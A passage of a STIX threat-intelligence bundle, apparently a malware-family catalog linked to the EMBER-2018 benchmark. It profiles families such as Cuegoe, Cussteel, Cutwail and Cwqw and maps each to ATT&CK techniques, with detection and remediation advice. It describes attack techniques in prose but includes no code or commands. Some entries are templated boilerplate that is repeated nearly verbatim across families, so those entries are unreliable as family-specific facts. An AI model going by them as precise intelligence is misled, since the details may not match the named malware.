      "id": "relationship--d63ca9bb-1e39-56de-996a-03ada5299036",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e2bbffa-1a2c-5acf-8339-320a481ab46b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csrb exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--25170cd6-ace3-54ed-b5c4-24c97c1b2cdd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ctqc",
      "description": "Trojan:Win32/Ctqc is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ctqc</b><br>To an end-user, a Ctqc infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ctqc is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ctqc is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ctqc frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ctqc reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ctqc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ctqc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c8dab09-b84a-5227-9f54-dd934038799e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25170cd6-ace3-54ed-b5c4-24c97c1b2cdd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ctqc exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13f04e55-dd86-5963-b200-c9127695ba15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25170cd6-ace3-54ed-b5c4-24c97c1b2cdd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ctqc exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--973340e5-52fa-5173-b397-ec15caf18aab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25170cd6-ace3-54ed-b5c4-24c97c1b2cdd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ctqc exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3599df60-9f49-5853-8735-ba188b23d1d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25170cd6-ace3-54ed-b5c4-24c97c1b2cdd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ctqc exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f264b50-a983-543d-af1b-5544a1a4d1cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25170cd6-ace3-54ed-b5c4-24c97c1b2cdd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ctqc exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--78ede11b-3fb3-591e-b8ce-7688bd212e3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cuegoe",
      "description": "Cuegoe (cataloged in cybersecurity threat intelligence databases and Malpedia under designations including Trojan:Win32/Cuegoe and Backdoor.Win32.Cuegoe) is a targeted cyber espionage trojan and backdoor first documented in 2015. Observed in targeted campaigns conducted by threat actors operating in the Asia-Pacific region, Cuegoe is distributed via spearphishing emails containing malicious documents or weaponized download links. The malware employs multi-stage payload decryption to unpack its core surveillance module directly into process memory. Cuegoe conducts thorough endpoint reconnaissance, collecting computer names, network interface configurations, and operating system build details. It establishes encrypted command-and-control channels over TCP, enabling remote operators to upload and download files, execute terminal commands, and maintain persistent lateral access within compromised victim networks. (Observed samples in benchmark: 64)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Cuegoe",
        "Cuegoe",
        "Backdoor.Win32.Cuegoe",
        "Win32/Cuegoe"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cuegoe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cuegoe"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14db9f38-e969-5bb0-99e0-cd7e5a9369b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78ede11b-3fb3-591e-b8ce-7688bd212e3b",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cuegoe exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9ed1334-8b7e-5339-ad9c-a2adbbf033c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78ede11b-3fb3-591e-b8ce-7688bd212e3b",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cuegoe exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9e6b49d-1799-542a-8474-80f37645d3c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78ede11b-3fb3-591e-b8ce-7688bd212e3b",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cuegoe exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a76292f-a736-5602-ac2a-6b99513ed8bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78ede11b-3fb3-591e-b8ce-7688bd212e3b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cuegoe exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--650a5b93-41fa-5c76-a983-6353cfb2dd1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78ede11b-3fb3-591e-b8ce-7688bd212e3b",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cuegoe exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c00aecb7-de8c-5846-81a0-c4fcd307b070",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cussteel",
      "description": "<h3>Executive Summary</h3>\nCussteel is a malicious Information Stealer (Info-stealer) designed to covertly infiltrate Windows systems and harvest highly sensitive data. The name \"Cussteel\" often implies a specialized focus on stealing \"Customer\" data or specific enterprise credentials, making it a severe threat to corporate confidentiality and customer privacy.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCussteel is typically distributed via targeted spear-phishing campaigns (often disguised as invoices, customer complaints, or shipping manifests) containing weaponized Office documents, or via drive-by downloads from compromised websites.\n\nUpon successful execution, the malware operates with a focus on comprehensive data harvesting:\n<ul>\n<li><strong>Credential Theft:</strong> The primary function of Cussteel is to silently harvest passwords. It actively queries the local databases of major web browsers (Chrome, Firefox, Edge) to extract saved passwords and session cookies. It also targets FTP clients, VPN configurations, and email applications (like Outlook).</li>\n<li><strong>Keylogging and Screen Capture:</strong> To capture data not stored on disk, the malware frequently implements a keylogger to record every keystroke entered by the user. It may also take periodic screenshots of the desktop or record video when specific applications (like banking portals) are in focus.</li>\n<li><strong>Data Exfiltration:</strong> The harvested intelligence is securely packaged, encrypted, and transmitted to a command-and-control (C2) server, providing the attacker with the exact credentials needed to escalate their access.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Cussteel infection represents a critical breach of confidentiality. Because it actively harvests credentials, a single compromised machine can provide attackers with the usernames and passwords required to bypass VPNs, access corporate email, and pivot laterally across the network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Network Isolation:</strong> Immediately isolate the infected endpoint from the LAN to halt the active exfiltration of sensitive data to the attacker's C2 server.</li>\n<li><strong>Global Credential Reset:</strong> Assume all credentials utilized on the infected machine, as well as any cached network credentials, have been stolen. Force an immediate reset of all associated passwords from a known-secure device.</li>\n<li><strong>Endpoint Sweeps:</strong> Conduct a thorough forensic sweep using enterprise EDR tools to identify the Cussteel executable, its persistence mechanisms in the registry, and any dropped files.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.PWS.Cussteel",
        "Spyware.Cussteel",
        "Win32/Cussteel"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cussteel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cussteel"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--515944ad-fef9-582a-9bfa-f2c4dce4d21d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c00aecb7-de8c-5846-81a0-c4fcd307b070",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cussteel exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2fc78cef-f421-5a9f-83fa-9524e673a1f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c00aecb7-de8c-5846-81a0-c4fcd307b070",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cussteel exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99abb0e6-55f6-56f4-8a13-f222dd745717",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c00aecb7-de8c-5846-81a0-c4fcd307b070",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cussteel exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fcb48a61-bbf4-53ff-baec-e4b75a11dc84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c00aecb7-de8c-5846-81a0-c4fcd307b070",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cussteel exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b4a2ac8a-5a7a-57f9-bf2a-9e45119ec956",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cutwail",
      "description": "Cutwail (frequently referenced in conjunction with its rootkit and downloader component Pushdo, or Pandex) is one of the longest-running and highest-volume spam-distributing botnets in computing history, first detected in 2007. Built as a modular dual-stage threat, Pushdo installs kernel-mode rootkits and injects stealthy communication modules into trusted processes, which then fetch the Cutwail spam engine to weaponize victim machines into distributed email transmission relays.\n\nAt its peak between 2009 and 2010, the Cutwail botnet commanded an estimated 1.5 to 2 million active zombie endpoints, accounting for between 25% and 30% of all spam traffic globally\u2014transmitting billions of rogue emails daily that distributed pharmaceutical scams, counterfeit goods, phishing hooks, and malware loaders. In August 2010, an international coalition of security researchers, FireEye, and tier-1 hosting providers severed 20 of Cutwail's primary command-and-control servers in a coordinated infrastructure disruption, temporarily cutting global spam volumes in half before the botnet operators introduced DGA fallbacks and SSL encryption. (Observed samples in benchmark: 92)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Cutwail",
        "Pushdo",
        "Pandex",
        "Win32/Cutwail",
        "Trojan.Pushdo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cutwail",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cutwail"
        }
      ],
      "labels": [
        "botnet",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2bf4c60-0b1e-5baa-abbb-9545b0f1e87c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4a2ac8a-5a7a-57f9-bf2a-9e45119ec956",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cutwail exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac90a1a1-7884-5f18-8a61-b577073934c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4a2ac8a-5a7a-57f9-bf2a-9e45119ec956",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cutwail exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7352621a-a25a-5848-a7d3-e636a50967fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4a2ac8a-5a7a-57f9-bf2a-9e45119ec956",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cutwail exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b43a61f-596b-5c8b-89e3-cd7c64593169",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4a2ac8a-5a7a-57f9-bf2a-9e45119ec956",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cutwail exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98b5fe6c-4db5-545a-b3c7-ffe260639cb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4a2ac8a-5a7a-57f9-bf2a-9e45119ec956",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cutwail exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--023505f4-9c06-5622-a826-8325c0de4c78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cvky",
      "description": "<h3>Executive Summary</h3>\nCvky is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCvky is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Cvky operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Cvky ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Cvky receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Cvky infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Cvky executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Cvky frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Cvky",
        "Downloader.Cvky",
        "Win32/Cvky"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cvky",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cvky"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5580f1e-7e96-5082-a4b5-bbc8d4ca9d65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--023505f4-9c06-5622-a826-8325c0de4c78",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cvky exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f49fdfe-d0ae-5e05-b866-0f24809e4848",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--023505f4-9c06-5622-a826-8325c0de4c78",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cvky exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b6db3c8-7b28-5940-9a0f-0a8f14894aae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--023505f4-9c06-5622-a826-8325c0de4c78",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cvky exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--84a10e55-c86a-5e90-84fb-cec2db7d289a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cwqw",
      "description": "Cwqw (identified across antimalware research as Ransom:Win32/Cwqw, Trojan-Ransom.Win32.Cwqw, and Ransom.Cwqw) is an evasive corporate crypto-ransomware family designed to execute destructive file encryption while actively impairing endpoint defenses. Distributed primarily via malicious loader networks and exploited network perimeter devices, Cwqw executes aggressive pre-encryption routines. Prior to encrypting data, the malware terminates an extensive list of targeted Windows services and processes, specifically targeting database servers (Microsoft SQL Server, MySQL, Oracle), mail servers (Exchange), hypervisors, and enterprise backup software (Veeam, Acronis). By forcibly terminating these processes, Cwqw unlocks restricted database handles and prevents automated backup systems from interfering with the encryption process. Cwqw then deploys high-speed symmetric stream encryption across all accessible drives, encrypting documents, databases, and code repositories, before deleting shadow copies and leaving extortion instructions demanding cryptocurrency ransom payment. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Cwqw",
        "Trojan-Ransom.Win32.Cwqw",
        "Win32/Cwqw",
        "Cwqw Ransomware",
        "Ransom.Cwqw"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cwqw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cwqw"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77eb4456-b864-5136-b0ba-36bef7a78c5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84a10e55-c86a-5e90-84fb-cec2db7d289a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cwqw exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--313b9cf9-116a-5c5c-bf0c-5141580bc4bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84a10e55-c86a-5e90-84fb-cec2db7d289a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cwqw exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1261ca7f-35f5-5dfb-a02a-2a186a25a0fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84a10e55-c86a-5e90-84fb-cec2db7d289a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cwqw exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2060c3b2-9a31-5ed0-aae3-3f0f5993c9a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84a10e55-c86a-5e90-84fb-cec2db7d289a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cwqw exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a61ed26d-fd5e-5a4d-9797-ccec95243941",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84a10e55-c86a-5e90-84fb-cec2db7d289a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cwqw exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--757f6393-e016-5544-b2a4-34872dd65205",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cxkh",
      "description": "<h3>Executive Summary</h3>\nCxkh is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCxkh is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Cxkh operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Cxkh ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Cxkh receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Cxkh infection represents a significant breach of the endpoint 